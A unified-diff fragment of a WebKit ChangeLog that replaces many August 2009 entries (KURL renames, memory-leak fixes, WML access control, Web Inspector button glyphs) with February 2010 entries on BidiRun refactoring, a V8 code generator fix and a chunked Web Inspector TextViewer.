-        (WebInspector.ResourcesPanel.prototype.toolbarItemClass.categoryOrder.filter):
-        (WebInspector.ResourcesPanel.prototype._updateFilter):
-        (WebInspector.ResourcesPanel.prototype._updateSummaryGraph):
-        * inspector/front-end/inspector.css:
-        * inspector/front-end/inspector.js:
-        (WebInspector.loaded):
-
-2009-08-10  Brent Fulgham  <bfulgham@webkit.org>
-
-        Unreviewed build correction after http://trac.webkit.org/changeset/46978
-
-        * platform/network/curl/ResourceHandleManager.cpp:
-        (WebCore::ResourceHandleManager::initializeHandle):  Correct
-         deprecated removeRef to new removeFragmentIdentifier.
-
-2009-08-07  Ryosuke Niwa  <rniwa@webkit.org>
-
-        Reviewed by Justin Garcia.
-
-        Background color formatting lost on enter
-        https://bugs.webkit.org/show_bug.cgi?id=20348
-
-        This patch makes background color be preserved during editing.
-        In particular, editingStyleAtPosition would include the background color when obtaining styles.
-
-        * editing/ApplyStyleCommand.cpp:
-        (WebCore::): Added CSSPropertyBackgroundColor to editingStyleProperties
-
-2009-08-10  Kenneth Rohde Christiansen  <kenneth@webkit.org>
-
-        Reviewed by Simon Hausmann.
-
-        Stop sending QEvent::CursorChange to Qt for mouse move.
-
-        Verify if the cursor didn't change in WidgetQt::setCursor,
-        just like the mac port does.
-
-        Thanks to Adriano Rezendo for spotting and debugging the
-        issue.
-
-        * platform/qt/WidgetQt.cpp:
-        (WebCore::Widget::setCursor):
-
-2009-08-10  Alexey Proskuryakov  <ap@apple.com>
-
-        Reviewed by Brady Eidson.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28165
-        Application cache maximum size cannot be set before the database is opened
-
-        * loader/appcache/ApplicationCacheStorage.cpp:
-        (WebCore::ApplicationCacheStorage::vacuumDatabaseFile): Open appcache database if it isn't
-        open yet.
+        * rendering/BidiRun.cpp: Added.
+        (WebCore::BidiRun::destroy):
+        (WebCore::throw):
+        (WebCore::BidiRun::operator delete):
+        * rendering/BidiRun.h: Added.
+        (WebCore::BidiRun::BidiRun):
+        (WebCore::BidiRun::next):
+        * rendering/InlineIterator.h: Added.
+        (WebCore::InlineIterator::InlineIterator):
+        (WebCore::operator==):
+        (WebCore::operator!=):
+        (WebCore::bidiNext):
+        (WebCore::bidiFirst):
+        (WebCore::InlineIterator::increment):
+        (WebCore::InlineIterator::atEnd):
+        (WebCore::InlineIterator::current):
+        (WebCore::InlineIterator::direction):
+        (WebCore::InlineBidiResolver::increment):
+        (WebCore::InlineBidiResolver::appendRun):
+        * rendering/RenderBlock.h:
+        * rendering/RenderBlockLineLayout.cpp:
+        (WebCore::RenderBlock::appendRunsForObject):
+        (WebCore::RenderBlock::requiresLineBox):
 
-2009-08-10  Vitaly Repeshko  <vitalyr@quad.spb.corp.google.com>
+2010-02-11  Steve Block  <steveblock@google.com>
 
         Reviewed by Dimitri Glazkov.
 
-        [V8] Fix memory leak in node event listeners. See http://crbug.com/17400.
-        https://bugs.webkit.org/show_bug.cgi?id=28156
+        Fixes CodeGeneratorV8.pm to include the header for the indexer type when using setCollectionIndexedGetter()
+        https://bugs.webkit.org/show_bug.cgi?id=34836
 
-        * bindings/scripts/CodeGeneratorV8.pm: Custom event handler accessors now apply to all Node descendants.
-        * bindings/v8/V8AbstractEventListener.h:
-        (WebCore::V8AbstractEventListener::isObjectListener): Added virtual method to detect listeners that have weak references to JS objects.
-        * bindings/v8/V8DOMWrapper.cpp:
-        (WebCore::V8DOMWrapper::getTemplate):
-        * bindings/v8/V8ObjectEventListener.cpp:
-        * bindings/v8/V8ObjectEventListener.h:
-        (WebCore::V8ObjectEventListener::isObjectListener):
-        * bindings/v8/V8Utilities.cpp:
-        (WebCore::removeHiddenDependency):
-        * bindings/v8/custom/V8CustomBinding.h:
-        * bindings/v8/custom/V8ElementCustom.cpp:
-        * bindings/v8/custom/V8NodeCustom.cpp: Moved custom accessors from V8ElementCustom.cpp.
-        (WebCore::toEventType):
-        (WebCore::getEventListener):
-        (WebCore::ACCESSOR_SETTER):
-        (WebCore::ACCESSOR_GETTER):
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8XMLHttpRequestCustom.cpp:
-        (WebCore::getEventListener): Made static.
+        setCollectionIndexedGetter() uses getIndexedPropertyOfCollection(),
+        which in turn uses toV8() with the indexer type, which is declared in
+        the header for the indexer type.
 
-2009-08-10  Jeremy Orlow  <jorlow@chromium.org>
+        No new tests, build fix only.
 
-        Reviewed by Darin Fisher.
+        * bindings/scripts/CodeGeneratorV8.pm:
 
-        Cleanup DOM Storage namespace shutdown code usage of security origin.
-        https://bugs.webkit.org/show_bug.cgi?id=28094
-
-        If a storage namespace is not explicitly closed, be sure to do so on
-        destruction of the object.  In addition, the close call should wait
-        on the background thread finishing its syncing.  (Not doing so is actually
-        a regression from the original LocalStorage code.)
-
-        There's no point to passing in the SecurityOrigin when copying a storage
-        area since what was passed in is exactly what is stored within each
-        storage area.  In addition, the non-copy constructor should take in a
-        PassRefPtr rather than a pointer since that pointer was only passed into
-        the constuctor for RefPtr's anyway.
-
-        * storage/StorageAreaImpl.cpp:
-        (WebCore::StorageAreaImpl::StorageAreaImpl):
-        (WebCore::StorageAreaImpl::copy):
-        * storage/StorageAreaImpl.h:
-        * storage/StorageNamespaceImpl.cpp:
-        (WebCore::StorageNamespaceImpl::StorageNamespaceImpl):
-        (WebCore::StorageNamespaceImpl::~StorageNamespaceImpl):
-        (WebCore::StorageNamespaceImpl::copy):
-        (WebCore::StorageNamespaceImpl::close):
-        * storage/StorageNamespaceImpl.h:
-
-2009-08-10  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
+2010-02-11  Pavel Feldman  <pfeldman@chromium.org>
 
-        Not reviewed, build fix.
+        Reviewed by Timothy Hatcher.
 
-        Rename ref() to fragmentIdentifier() in the wml/ subdirectory.
+        Web Inspector: split source code into chunks in order to improve text
+        viewer performance on large files.
 
-        * wml/WMLCardElement.cpp:
-        (WebCore::WMLCardElement::determineActiveCard):
-        * wml/WMLGoElement.cpp:
-        (WebCore::WMLGoElement::executeTask):
-        * wml/WMLPageState.cpp:
-        (WebCore::WMLPageState::canAccessDeck):
+        https://bugs.webkit.org/show_bug.cgi?id=34816
 
-2009-08-10  Steve Falkenburg  <sfalken@apple.com>
+        This change brings back SourceFrame's canvas+style magic, restores line
+        wrapping and makes things a lot like they used to be.
+        It removes TextEditor for now and renames NativeTextViewer into TextViewer.
+        TextViewer is no longer derived from TextEditor.
+        This TextViewer is still based on TextEditorModel, no iframes are involved.
 
-        Windows build fix.
+        Instead of creating div per line, TextViewer splits source code into 50 line
+        chunks. Upon scroll event, visible chunks are sharded into lines and individual
+        lines are highlighted. Whenever highlighted region gets outside of the visible
+        area, highlight spans are thrown away and region is replaced with the original
+        plain text chunk.
 
-        Exclude JSMedia.cpp from build since it is included in DerivedSources.cpp.
-        Fixes linker warnings.        
-        
-        Corrected spelling of JSInspectorBackend.cpp.
-        
-        Other changes related to actually using a Visual Studio to open/save the vcproj file.
+        Complex stuff:
+        - Whenever there is a need to manipulate individual lines (add message bubble /
+        set breakpoint / reveal / etc.), individual chunks for such lines are created.
+        - There is also an implicit machinery that is maintaining selection when it
+        goes beyond the visible area.
+        - Search occurrences are implemented as artificial spans interweaving
+        highlighting markup.
 
+        * WebCore.gypi:
         * WebCore.vcproj/WebCore.vcproj:
-
-2009-08-10  Sam Weinig  <sam@webkit.org>
-
-        Reviewed by Anders Carlsson.
-
-        Remove a dead #define.
-
-        * bindings/js/JSDOMBinding.cpp:
-
-2009-08-10  Dimitri Glazkov  <dglazkov@chromium.org>
-
-        Unreviewed, build fix.
-
-        [Chromium] Update KURLGoogle for ref* method renames in
-        http://trac.webkit.org/changeset/46978.
-        https://bugs.webkit.org/show_bug.cgi?id=28084
-
-        * bindings/v8/custom/V8LocationCustom.cpp:
-        (WebCore::ACCESSOR_SETTER): Renamed ref and setRef to fragmentIdentifier and
-            setFragmentIdentifier, respectively.
-        * platform/KURLGoogle.cpp: Ditto, plus all other ref* method names.
-
-2009-08-10  Jan Michael Alonzo  <jmalonzo@webkit.org>
-
-        [Gtk] Unreviewed. Fix the nit as suggested by Darin in bug #28144
-        for r46989.
-
-        * platform/network/soup/ResourceHandleSoup.cpp:
-        (WebCore::finishedCallback):
-
-2009-08-10  John Kjellberg  <john.kjellberg@power.alstom.com>
-
-        Reviewed by Darin Adler.
-
-        Memory leak in error handling code for SOUP interface
-        https://bugs.webkit.org/show_bug.cgi?id=28144
-
-        Freed memory leaked in error handling code for soup requests.
-
-        * platform/network/soup/ResourceHandleSoup.cpp:
-        (WebCore::finishedCallback):
-        (WebCore::):
-
-2009-08-10  Dimitri Glazkov  <dglazkov@chromium.org>
-
-        Reviewed by Darin Adler.
-
-        Provide graceful handling of the situation when an embedder invokes
-        visited link update methods before a Page constructor has been called.
-        https://bugs.webkit.org/show_bug.cgi?id=28149
-
-        * page/Page.cpp:
-        (WebCore::Page::allVisitedStateChanged): Added a null-check for allPages.
-        (WebCore::Page::visitedStateChanged): Ditto.
-
-2009-08-10  Xan Lopez  <xlopez@igalia.com>
-
-        Fix GTKbuild.
-
-        * platform/network/soup/ResourceHandleSoup.cpp:
-        (WebCore::):
-
-2009-08-10  Dan Bernstein  <mitz@apple.com>
-
-        Reviewed by Anders Carlsson.
-
-        Remove the redundant, Windows CE-only GlyphBuffer::advnaceData()
-
-        * platform/graphics/GlyphBuffer.h: Removed advanceData().
-        * platform/graphics/wince/GraphicsContextWince.cpp:
-        (WebCore::GraphicsContext::drawText): Changed to use advances(from)
-            instead of advanceData() from.
-
-2009-08-10  Xan Lopez  <xlopez@igalia.com>
-
-        Reviewed by Gustavo Noronha.
-
-        Remove workaround for older libsoup versions.
-
-        * platform/network/soup/ResourceHandleSoup.cpp:
-        (WebCore::fillResponseFromMessage):
-
-2009-08-10  Xan Lopez  <xlopez@igalia.com>
-
-        Reviewed by Gustavo Noronha.
-
-        Let startHttp validate the URI instead of doing it, with potential
-        crashes, in ::start.
-
-        * platform/network/soup/ResourceHandleSoup.cpp:
-        (WebCore::startHttp):
-
-2009-08-10  Darin Adler  <darin@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        When empty <input> is focused, getSelection() exposes shadow tree nodes
-        https://bugs.webkit.org/show_bug.cgi?id=15903
-
-        Test: fast/forms/shadow-tree-exposure.html
-
-        * page/DOMSelection.cpp:
-        (WebCore::selectionShadowAncestor): Added.
-        (WebCore::DOMSelection::anchorNode): Return the parent of the shadow
-        ancestor if the selection is in a shadow tree. Matches Firefox.
-        (WebCore::DOMSelection::anchorOffset): Return the index of the shadow
-        ancestor if the selection is in a shadow tree. Matches Firefox.
-        (WebCore::DOMSelection::focusNode): Ditto.
-        (WebCore::DOMSelection::focusOffset): Ditto.
-        (WebCore::DOMSelection::baseNode): More of the same, but since this
-        is a WebKit-invented property, it does not match Firefox.
-        (WebCore::DOMSelection::baseOffset): Ditto.
-        (WebCore::DOMSelection::extentNode): Ditto.
-        (WebCore::DOMSelection::extentOffset): Ditto.
-        (WebCore::DOMSelection::isCollapsed): Return true even when the
-        selection is a range, if the selection is in the shadow tree.
-        Matches Firefox. Also changed behavior when called and the frame
-        is gone to return true instead of false which makes more sense.
-        (WebCore::DOMSelection::empty): Use clear() just like the other
-        selection-clearing function in this file does.
-        (WebCore::DOMSelection::getRangeAt): Return a range that starts
-        and ends before the shadow ancestor. Matches Firefox.
-
-2009-08-10  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        Web Inspector: Make all status bar button images glyph-based.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28124
-
-        * inspector/front-end/ElementsPanel.js:
-        (WebInspector.ElementsPanel):
-        * inspector/front-end/Images/clearConsoleButtonGlyph.png: Added.
-        * inspector/front-end/Images/clearConsoleButtons.png: Removed.
-        * inspector/front-end/Images/consoleButtonGlyph.png: Added.
-        * inspector/front-end/Images/consoleButtons.png: Removed.
-        * inspector/front-end/Images/dockButtonGlyph.png: Added.
-        * inspector/front-end/Images/dockButtons.png: Removed.
-        * inspector/front-end/Images/enableButtons.png: Removed.
-        * inspector/front-end/Images/enableOutlineButtonGlyph.png: Added.
-        * inspector/front-end/Images/enableSolidButtonGlyph.png: Added.
-        * inspector/front-end/Images/excludeButtonGlyph.png: Added.
-        * inspector/front-end/Images/excludeButtons.png: Removed.
-        * inspector/front-end/Images/focusButtonGlyph.png: Added.
-        * inspector/front-end/Images/focusButtons.png: Removed.
-        * inspector/front-end/Images/largerResourcesButtonGlyph.png: Added.
-        * inspector/front-end/Images/largerResourcesButtons.png: Removed.
-        * inspector/front-end/Images/nodeSearchButtonGlyph.png: Added.
-        * inspector/front-end/Images/nodeSearchButtons.png: Removed.
-        * inspector/front-end/Images/pauseOnExceptionButtonGlyph.png: Added.
-        * inspector/front-end/Images/pauseOnExceptionButtons.png: Removed.
-        * inspector/front-end/Images/percentButtonGlyph.png: Added.
-        * inspector/front-end/Images/percentButtons.png: Removed.
-        * inspector/front-end/Images/recordButtonGlyph.png: Added.
-        * inspector/front-end/Images/recordButtons.png: Removed.
-        * inspector/front-end/Images/recordToggledButtonGlyph.png: Added.
-        * inspector/front-end/Images/reloadButtonGlyph.png: Added.
-        * inspector/front-end/Images/reloadButtons.png: Removed.
-        * inspector/front-end/Images/undockButtonGlyph.png: Added.
-        * inspector/front-end/Panel.js:
-        (WebInspector.Panel.prototype.createStatusBarButton):
-        * inspector/front-end/ProfilesPanel.js:
-        (WebInspector.ProfilesPanel):
-        * inspector/front-end/ResourcesPanel.js:
-        (WebInspector.ResourcesPanel):
-        * inspector/front-end/ScriptsPanel.js:
-        (WebInspector.ScriptsPanel):
+        * inspector/front-end/NativeTextViewer.js: Removed.
+        * inspector/front-end/ScriptView.js:
+        (WebInspector.ScriptView):
+        * inspector/front-end/Settings.js:
+        * inspector/front-end/SourceFrame.js:
+        (WebInspector.SourceFrame):
+        (WebInspector.SourceFrame.prototype.set visible):
+        (WebInspector.SourceFrame.prototype.set executionLine):
+        (WebInspector.SourceFrame.prototype.revealLine):
+        (WebInspector.SourceFrame.prototype.addBreakpoint):
+        (WebInspector.SourceFrame.prototype.removeBreakpoint):
+        (WebInspector.SourceFrame.prototype.addMessage):
+        (WebInspector.SourceFrame.prototype.clearMessages):
+        (WebInspector.SourceFrame.prototype.sizeToFitContentHeight):
+        (WebInspector.SourceFrame.prototype.setContent):
+        (WebInspector.SourceFrame.prototype.highlightLine):
+        (WebInspector.SourceFrame.prototype._createViewerIfNeeded):
+        (WebInspector.SourceFrame.prototype.markAndRevealRange):
+        (WebInspector.SourceFrame.prototype.clearMarkedRange):
+        (WebInspector.SourceFrame.prototype._breakpointChanged):
+        (WebInspector.SourceFrame.prototype._updateExecutionLine):
+        (WebInspector.SourceFrame.prototype._addMessageToSource):
+        (WebInspector.SourceFrame.prototype._addExistingBreakpointsToSource):
+        (WebInspector.SourceFrame.prototype._addBreakpointToSource):
+        (WebInspector.SourceFrame.prototype._removeBreakpointFromSource):
+        (WebInspector.SourceFrame.prototype._mouseDown):
+        (WebInspector.SourceFrame.prototype._editBreakpointCondition.committed):
+        (WebInspector.SourceFrame.prototype._editBreakpointCondition.dismissed):
+        (WebInspector.SourceFrame.prototype._editBreakpointCondition):
+        (WebInspector.SourceFrame.prototype._showBreakpointConditionPopup):
+        (WebInspector.SourceFrame.prototype._createConditionElement):
+        (WebInspector.SourceFrame.prototype._keyDown):
+        (WebInspector.SourceFrame.prototype.resize):
+        (WebInspector.SourceFrame.prototype._drawProgramCounterInContext):
+        (WebInspector.SourceFrame.prototype._drawProgramCounterImageIfNeeded):
+        (WebInspector.SourceFrame.prototype._drawBreakpointImagesIfNeeded.drawBreakpoint):
+        (WebInspector.SourceFrame.prototype._drawBreakpointImagesIfNeeded):
+        * inspector/front-end/SourceView.js:
+        (WebInspector.SourceView):
+        (WebInspector.SourceView.prototype._removeBreakpoint):
+        (WebInspector.SourceView.prototype.searchCanceled):
+        (WebInspector.SourceView.prototype._jumpToSearchResult):
+        * inspector/front-end/TextEditor.js: Removed.
+        * inspector/front-end/TextViewer.js: Added.
+        (WebInspector.TextViewer):
+        (WebInspector.TextViewer.prototype.set mimeType):
+        (WebInspector.TextViewer.prototype.get textModel):
+        (WebInspector.TextViewer.prototype.revealLine):
+        (WebInspector.TextViewer.prototype.addDecoration):
+        (WebInspector.TextViewer.prototype.removeDecoration):
+        (WebInspector.TextViewer.prototype.markAndRevealRange):
+        (WebInspector.TextViewer.prototype.highlightLine):
+        (WebInspector.TextViewer.prototype._textChanged):
+        (WebInspector.TextViewer.prototype._createChunkRow):
+        (WebInspector.TextViewer.prototype._makeLineAChunk):
+        (WebInspector.TextViewer.prototype._indexChunks):
+        (WebInspector.TextViewer.prototype._highlightChanged):
+        (WebInspector.TextViewer.prototype._scroll):
+        (WebInspector.TextViewer.prototype.setCoalescingUpdate):
+        (WebInspector.TextViewer.prototype._repaintAll):
+        (WebInspector.TextViewer.prototype._chunkForOffset):
+        (WebInspector.TextViewer.prototype._chunkNumberForLine):
+        (WebInspector.TextViewer.prototype._chunkStartLine):
+        (WebInspector.TextViewer.prototype._restoreChunks):
+        (WebInspector.TextViewer.prototype._repaint):
+        (WebInspector.TextViewer.prototype._getSelection):
+        (WebInspector.TextViewer.prototype._restoreSelection):
+        (WebInspector.TextViewer.prototype._selectionToPosition):
+        (WebInspector.TextViewer.prototype._createLineRow):
+        (WebInspector.TextViewer.prototype._paintLine):
+        (WebInspector.TextViewer.prototype._createSpan):
+        (WebInspector.TextViewer.prototype._createLink):
+        (WebInspector.TextViewer.prototype._rewriteHref):
+        (WebInspector.TextViewer.prototype._markRange):
+        (WebInspector.TextViewer.prototype._decimalDigits):
+        (WebInspector.TextViewer.prototype.resize):
         * inspector/front-end/WebKit.qrc:
         * inspector/front-end/inspector.css:
         * inspector/front-end/inspector.html:
+        * inspector/front-end/textEditor.css: Removed.
+        * inspector/front-end/textViewer.css: Added.
+        * inspector/front-end/utilities.js:
+        (Node.prototype.traverseNextTextNode):
+        (Node.prototype.rangeBoundaryForOffset):
 
-2009-08-07  Brady Eidson  <beidson@apple.com>
-
-        Reviewed by Darin Adler.
-
-        KURL ref() methods should be fragmentIdentifier() methods 
-        https://bugs.webkit.org/show_bug.cgi?id=28084
-
-        In addition to the renames, also took the chance to replace all use of:
-        setRef(String());
-        with:
-        removeFragmentIdentifier();
-
-        * platform/KURL.cpp:
-        (WebCore::KURL::fragmentIdentifier):
-        (WebCore::KURL::hasFragmentIdentifier):
-        (WebCore::KURL::setFragmentIdentifier):
-        (WebCore::KURL::removeFragmentIdentifier):
-        (WebCore::KURL::prettyURL):
-        (WebCore::equalIgnoringFragmentIdentifier):
-        * platform/KURL.h:
-
-        * bindings/js/JSLocationCustom.cpp:
-        (WebCore::JSLocation::setHash): Rework with new names, and to use the new equalIgnoringNullity() method.
-
-        * accessibility/AccessibilityRenderObject.cpp:
-        (WebCore::AccessibilityRenderObject::internalLinkElement):
-        * css/CSSCursorImageValue.cpp:
-        (WebCore::isSVGCursorIdentifier):
-        * history/HistoryItem.cpp:
-        (WebCore::HistoryItem::isCurrentDocument):
-        * html/HTMLAnchorElement.cpp:
-        (WebCore::HTMLAnchorElement::hash):
-        * html/HTMLFrameElementBase.cpp:
-        (WebCore::HTMLFrameElementBase::isURLAllowed):
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::begin):
-        (WebCore::FrameLoader::gotoAnchor):
-        (WebCore::FrameLoader::scheduleLocationChange):
-        (WebCore::FrameLoader::scrollToAnchor):
-        (WebCore::FrameLoader::shouldReload):
-        (WebCore::FrameLoader::urlsMatchItem):
-        * loader/appcache/ApplicationCache.cpp:
-        (WebCore::ApplicationCache::resourceForURL):
-        (WebCore::ApplicationCache::resourceForRequest):
-        * loader/appcache/ApplicationCacheGroup.cpp:
-        (WebCore::ApplicationCacheGroup::cacheForMainRequest):
-        (WebCore::ApplicationCacheGroup::fallbackCacheForMainRequest):
-        (WebCore::ApplicationCacheGroup::selectCache):
-        (WebCore::ApplicationCacheGroup::finishedLoadingMainResource):
-        (WebCore::ApplicationCacheGroup::didReceiveResponse):
-        (WebCore::ApplicationCacheGroup::didFail):
-        (WebCore::ApplicationCacheGroup::addEntry):
-        * loader/appcache/ApplicationCacheResource.h:
-        (WebCore::ApplicationCacheResource::create):
-        * loader/appcache/ApplicationCacheStorage.cpp:
-        (WebCore::ApplicationCacheStorage::findOrCreateCacheGroup):
-        (WebCore::ApplicationCacheStorage::cacheGroupForURL):
-        (WebCore::ApplicationCacheStorage::fallbackCacheGroupForURL):
-        * loader/appcache/ManifestParser.cpp:
-        (WebCore::parseManifest):
-        * page/Location.cpp:
-        (WebCore::Location::hash):
-        * page/Page.cpp:
-        (WebCore::Page::goToItem):
-        * rendering/RenderPartObject.cpp:
-        (WebCore::isURLAllowed):
-        * workers/WorkerLocation.cpp:
-        (WebCore::WorkerLocation::hash):
-
-2009-08-10  Andy Shaw <andy.shaw@nokia.com>
-
-        Reviewed by Simon Hausmann.
-
-        Fix endless loop when the application is quit by a secondary thread during a sync xml http request.
-
-        Replace the m_finished state variable and the call to QCoreApplication::processEvents() with
-        a dedicated QEventLoop, that can be terminated from within WebCoreSynchronousLoader as well
-        as from Qt through its knowledge of globally registered eventloops.
-
-        There is no unit test for this bug as it would require exporting additional symbols and
-        introduce the synchronous loader as global variable just for the test.
-
-        * platform/network/qt/ResourceHandleQt.cpp:
-        (WebCore::WebCoreSynchronousLoader::didFinishLoading):
-        (WebCore::WebCoreSynchronousLoader::didFail):
-        (WebCore::WebCoreSynchronousLoader::waitForCompletion):
-
-2009-08-10  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        WebInspector: Make properties inspection serialized.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28078
-
-        * inspector/front-end/DOMAgent.js:
-        (InspectorController.getPrototypes):
-        (InspectorController.getProperties):
-        * inspector/front-end/InjectedScript.js:
-        (InjectedScript.getPrototypes):
-        (InjectedScript.getProperties):
-        (InjectedScript.setPropertyValue):
-        * inspector/front-end/ObjectPropertiesSection.js:
-        (WebInspector.ObjectRef):
-        (WebInspector.ObjectPropertyRef):
-        (WebInspector.ObjectPropertiesSection.prototype.onpopulate):
-        (WebInspector.ObjectPropertiesSection.prototype.update.callback):
-        (WebInspector.ObjectPropertiesSection.prototype.update):
-        (WebInspector.ObjectPropertiesSection.prototype._update):
-        (WebInspector.ObjectPropertyTreeElement.prototype.onpopulate.callback):
-        (WebInspector.ObjectPropertyTreeElement.prototype.onpopulate):
-        (WebInspector.ObjectPropertyTreeElement.prototype.onattach):
-        (WebInspector.ObjectPropertyTreeElement.prototype.update):
-        * inspector/front-end/PropertiesSidebarPane.js:
-        (WebInspector.PropertiesSidebarPane.prototype.update.callback):
-        (WebInspector.PropertiesSidebarPane.prototype.update):
-
-2009-08-09  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
-
-        Reviewed by George Staikos.
-
-        [WML] wml.css lacks <pre> support
-        https://bugs.webkit.org/show_bug.cgi?id=28135
-
-        Add <pre> support for WML.
-        Extended fast/wml/text-emphasis.wml to cover <pre> support.
-
-        * css/wml.css: <pre> section copied from html.css
-
-2009-08-09  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
-
-        Reviewed by Oliver Hunt.
-
-        Fix non-WML enabled builds. Remove ENABLE(WML) guards around the switch cases 'FrameLoadTypeBackWMLDeckNotAccessible'.
-
-        * loader/FrameLoader.cpp:
-        (WebCore::isBackForwardLoadType):
-        (WebCore::FrameLoader::restoreDocumentState):
-        (WebCore::FrameLoader::transitionToCommitted):
-        (WebCore::FrameLoader::loadItem):
-
-2009-08-09  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
-
-        Reviewed by George Staikos.
-
-        [WML] Deck access control is completly broken
-        https://bugs.webkit.org/show_bug.cgi?id=27721
-
-        Rewrite WML deck access control, actually works now standalone and within LayoutTests.
-        Added several new layout tests covering local & remote access support.
-
-        In order to detect WML task execution failures from within the WML layout tests a new
-        method Console::lastWMLErrorMessage() has been added, returning the last recorded WML
-        error message. Change WML log messages to dump to InspectorClient, just like it's done
-        for HTML - we used to behave like JSMessageSource, which is wrong.
-
-        Tests: http/tests/wml/access-target-domain-deny.html
-               http/tests/wml/access-target-path-deny.html
-               http/tests/wml/access-target.html
-               wml/access-target-deny.html
-               wml/access-target.html
-
-        * inspector/ConsoleMessage.h:
-        (WebCore::ConsoleMessage::source): Added public method to fetch the message source type.
-        (WebCore::ConsoleMessage::message): Added public method to access the error message.
-        * inspector/InspectorController.h:
-        (WebCore::InspectorController::consoleMessages): Added for Console::lastWMLErrorMessage(), to be able to crawl through the list of dumped messages.
-        * loader/FrameLoader.cpp: Recognize 'FrameLoadTypeBackWMLDeckNotAccessible', all guarded by ENABLE(WML).
-        (WebCore::isBackForwardLoadType):
-        (WebCore::FrameLoader::restoreDocumentState):
-        (WebCore::FrameLoader::transitionToCommitted):
-        (WebCore::FrameLoader::loadItem):
-        * loader/FrameLoaderTypes.h:
-        (WebCore::): Add new load type 'FrameLoadTypeBackWMLDeckNotAccessible', behaving like FrameLoadTypeBack plus WML specific information.
-        * page/Console.cpp:
-        (WebCore::Console::addMessage): Don't dump WML messages using ChromeClient (as it's done for JSMessageSource), but go through InspectorController.
-        (WebCore::Console::lastWMLErrorMessage): Crawl InspectorController::consoleMssages() to look up the last WML error message, if present.
-        * page/Console.h:
-        * page/Console.idl: Add "[DontEnum] DOMString lastWMLErrorMessage()".
-        * wml/WMLAccessElement.cpp: Store path/domain as member variables and pass them to WMLPageState once in insertedIntoDocument().
-        (WebCore::WMLAccessElement::parseMappedAttribute):
-        (WebCore::WMLAccessElement::insertedIntoDocument):
-        * wml/WMLAccessElement.h:
-        * wml/WMLCardElement.cpp: Handle 'FrameLoadTypeBackWMLDeckNotAccessible' as deck-entry method. Report WML error in current deck.
-        (WebCore::WMLCardElement::handleIntrinsicEventIfNeeded):
-        * wml/WMLDocument.cpp: Enable deck-access control in finishedParsing. Take care of method name changes in WMLPageState.
-        (WebCore::WMLDocument::finishedParsing):
-        (WebCore::WMLDocument::initialize):
-        * wml/WMLErrorHandling.cpp: Never report 'WMLErrorDeckNotAccessible' messages through the tokenizer, that would alter the page into error state.
-        (WebCore::reportWMLError):
-        * wml/WMLPageState.cpp: Completly rewrote access path/domain parsing & deck-access control, strictly following the WML spec. All covered by tests.
-        (WebCore::WMLPageState::WMLPageState):
-        (WebCore::normalizedHostName):
-        (WebCore::hostFromURL):
-        (WebCore::urlForHistoryItem):
-        (WebCore::tryAccessHistoryURLs):
-        (WebCore::WMLPageState::processAccessControlData):
-        (WebCore::WMLPageState::resetAccessControlData):
-        (WebCore::WMLPageState::canAccessDeck):
-        (WebCore::WMLPageState::hostIsAllowedToAccess):
-        (WebCore::WMLPageState::pathIsAllowedToAccess):
-        * wml/WMLPageState.h:
-
-2009-08-09  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
-
-        Reviewed by Maciej Stachowiak.
-
-        FrameLoadType / WebFrameLoadType enums are out of sync
-        https://bugs.webkit.org/show_bug.cgi?id=28132
-
-        Modify FrameLoadType enum to match the order of WebFrameLoadType in WebFramePrivate.h / IWebFramePrivate.idl.
-        The mac/win public API exposes the old 'FrameLoadTypeReloadAllowingStaleData' value, which resides between
-        'FrameLoadTypeReload' and 'FrameLoadTypeSame'. Work around this problem, by assigning 'FrameLoadTypeSame = FrameLoadTypeReload 2'.
-
-        Add a note to the FrameLoadType enum to keep it in sync with WebFramePrivate.h & IWebFramePrivate.idl.
-
-        * loader/FrameLoaderTypes.h:
-        (WebCore::):
-
-2009-08-09  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
-
-        Reviewed by George Staikos.
-
-        [WML] manual-tests/wml/onevent-prev.wml crashes
-        https://bugs.webkit.org/show_bug.cgi?id=27722
-
-        Fix intrinsic event execution, leading to crashes.
-        First finish parsing the document, then execute the events. Not the other way round.
-        -> exposes bugs all over the WML layout tests, which relied on that quirk.
-
-        Fixes manual-tests/wml/onevent-prev.wml.
-
-        * wml/WMLDocument.cpp:
-        (WebCore::WMLDocument::WMLDocument):
-        (WebCore::WMLDocument::finishedParsing):
-        (WebCore::WMLDocument::initialize):
-        * wml/WMLDocument.h:
-
-2009-08-08  Dimitri Glazkov  <dglazkov@chromium.org>
-
-        Unreviewed, build fix.
-
-        [Chromium] Update WebCore.gyp to add ImageBuffer.cpp,
-        introduced by http://trac.webkit.org/changeset/46956.
-        https://bugs.webkit.org/show_bug.cgi?id=27844
-
-        * WebCore.gypi: Added ImageBuffer.cpp.
-
-2009-08-08  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
-
-        Rubber-stamped by Jan Michael Alonzo.
-
-        Add [DontEnum] to WML specific initializeWMLPageState/resetWMLPageState methods, to assure
-        fast/dom/Window/window-properties.html doesn't show any differences when WML is enabled.
-
-        * dom/Document.idl:
-
-2009-08-08  Dirk Schulze  <krit@webkit.org>
-
-        Reviewed by Eric Seidel.
-
-        SVG Filter need feColorMatrix implementation
-        [https://bugs.webkit.org/show_bug.cgi?id=27711]
-
-        Adds the filter effect feColorMatrix to SVG filters. 
-
-        There is already a test in the w3c directory.
-        Test: svg/W3C-SVG-1.1/filters-color-01-b.svg
-
-        * platform/graphics/filters/FEColorMatrix.cpp:
-        (WebCore::matrix):
-        (WebCore::saturate):
-        (WebCore::huerotate):
-        (WebCore::luminance):
-        (WebCore::FEColorMatrix::apply):
-
-2009-08-08  Dirk Schulze  <krit@webkit.org>
-
-        Reviewed by Oliver Hunt.
-
-        Build fix for Tiger.
